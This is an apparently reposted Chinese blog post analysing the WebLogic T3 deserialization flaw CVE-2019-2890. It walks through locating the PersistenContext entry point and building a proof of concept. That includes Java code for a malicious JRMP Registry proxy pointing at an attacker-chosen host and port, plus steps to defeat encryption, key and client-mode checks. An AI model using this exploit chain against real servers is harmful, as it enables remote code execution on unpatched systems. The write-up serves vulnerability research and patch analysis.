Weblogic-T3-CVE-2019-2890-Analysis
本文仅记录一下自己调试2890的一些过程，网上已经有两篇公开的文章了，主要是因为要写年会PPT，然后自己上手调了一下这个漏洞，发现真的是个弟中弟的漏洞，感觉就是个
。
0x02 漏洞原理
T3反序列化关键字还是 readObject ，所以补丁下来的第一时间，我全部反编译了，但是由于之前没有研究过weblogic，历史补丁没怎么留存，如果通过diff对比更新的方式会很快定位，所以只能反编译后搜。
之前T3反序列化的入口有 StreamMessageImpl、MarshalledObject 等，而且修复方式也是采用 resolveClass 或者 resolveProxyClass 处增加黑名单的校验的方式来修复，因此基于这两点实际上很好定位漏洞位置：
1、入口有 readObject 反序列化，
2、 resolveClass 或者 resolveProxyClass 处有名单校验，且类不是之前修复过的类。
基于上述这两种情况很快定位到了 PersistenContext 这个类。
再回头翻一下 weblogic 原来的代码，嗯确实入口在这，在 readSubject 方法中，首先会读取var1中的反序列化数据，然后调用 EncryptionUtil.decrypt 方法进行解密，最后再触发反序列化。
因此构造Poc的时候，需要用 PersistenContext 这个类的 writeSubject 方法来生成特殊的序列化对象，让 readSubject 方法反序列化的时候成功触发。
0x03 漏洞利用
1.导入jar
网上有两篇文章都说了这么个构造思路，但是我阅读学习的时候，死在了导入jar这个难题下，因此在漏洞利用的开头，我列出几个jar文件，测试环境 weblogic 10.3.6 ，可能weblogic 12 jar名字有所不同。
com.bea.core.logging_1.9.0.0.jar com.bea.core.management.core_2.9.0.1.jar com.oracle.core.weblogic.msgcat_1.2.0.0.jar cryptoj.jar glassfish.jaxb_1.1.0.0_2-1-14.jar weblogic.jar wlthint3client.jar
2.重写PersistenContext类
因为需要用到 PersinstenContext 这个类，因此序列化的时候肯定要将其实例化，但是在下图代码位置有个if检查。
在这个if检查的结果会抛出 com.bea.core.security.managers.NotSupportedException 的异常导致反序列化中止。
因此这里解决办法就是绕过它，把它注释掉。
3.改造writeSubject中的writeObject
原先在 writeSubject 中正常写入的对象如下图所示。
这里我们需要将其替换掉，改成我们自己恶意对象，我的做法是构造恶意的JRMP对象。
public static Registry getObject(String command) throws Exception {
int sep = command.indexOf(58);
String host;
int port;
if (sep < 0) {
port = (new Random()).nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);
return proxy;
}
4.改造加密问题
原先我们看到了，反序列化过程中有个解密过程，所以这里需要加密一下。首先加密过程有个 KernelStatus.isServer() 的判断。
if (KernelStatus.isServer()) {
var5 = EncryptionUtil.encrypt(var5);
}
会说我直接改造一下，把if去掉，让他直接 EncryptionUtil.encrypt 不就好了吗，但是跟进去之后会发现还是有个 Kernel.isServer() 的的判断。
public static byte[] encrypt(byte[] var0) {
return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;
}
因此这里需要调用 KernelStatus.setIsServer(true); ，将状态设置为true。
当然这里还有另一种解法，我们实际上可以直接调用
var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte []) var5);
但是有个小问题 getEncryptionService 是一个 private 方法，你需要重写一个把它变成public就可以直接调用了。
所以我重写了一个 EncryptionUtil ，并且将 getEncryptionService 设置为了 public 。
5.解决加密key的问题
在 weblogic.security.internal.SerializedSystemIni 存在一个加密的key，这个key实际上每个weblogic都不一样，所以官方给这个漏洞评价为授权状态下getshell，也是和之前的T3反序列化不太一样的地方，这里的解决办法就是你要复现那个weblogic，就找到他的 SerializedSystemIni.dat 文件，并且在自己的目录下创建一个 security 目录，放进去就好了。
6.最后一个小问题
在序列化的时候会出现卡死状态的，跟进之后发现原因在 weblogic.security.subject.SubjectManager 这个类里面。
在这个类里面的 getSubjectManager 方法会有一个 ceClient 的判断，如果为fasle就不会直接返回 ceSubjectManager 对象，因此需要让他为 true 。
而这个鬼东西默认情况下是false。
private static final boolean ceClient = "true".equalsIgnoreCase(System.getProperty("com.bea.core.internal.client", "false"));
因此只需要 System.setProperty("com.bea.core.internal.client","true"); 让他过去即可。
最后还是弹个计算器吧。
0x04 漏洞修复
一如既往的老办法在resolveClass处增加黑名单检查。
正文到此结束
- 本文标签： 目录 https 代码 final message newProxyInstance shell 漏洞 value Logging equals remote 数据 key 文章 id 2019 IBM 调试 实例 ACE MQ rand 测试 UI DOM http IO 加密 编译 cat TCP core Service stream ssl Oracle 注释 src Property 测试环境 web 时间 client Security Proxy
- 版权声明： 本文为互联网转载文章，出处已在文章中说明(部分除外)。如果侵权，请联系本站长删除，谢谢。
- 本文海报： 生成海报一 生成海报二
热门推荐
相关文章
近期评论
-
666
-
文章和留言都翻到11页了 没有OOM
-
-
朋友，翻页到11页，及以后，会出现OOM，无法访问
-
-
-
-
版本号是多少，你可以下载哪个代码仓库，jdk选1.8 直接跑就行
-
-
Loading...
![[HBLOG]公众号](https://www.liuhaihua.cn/img/qrcode_gzh.jpg)
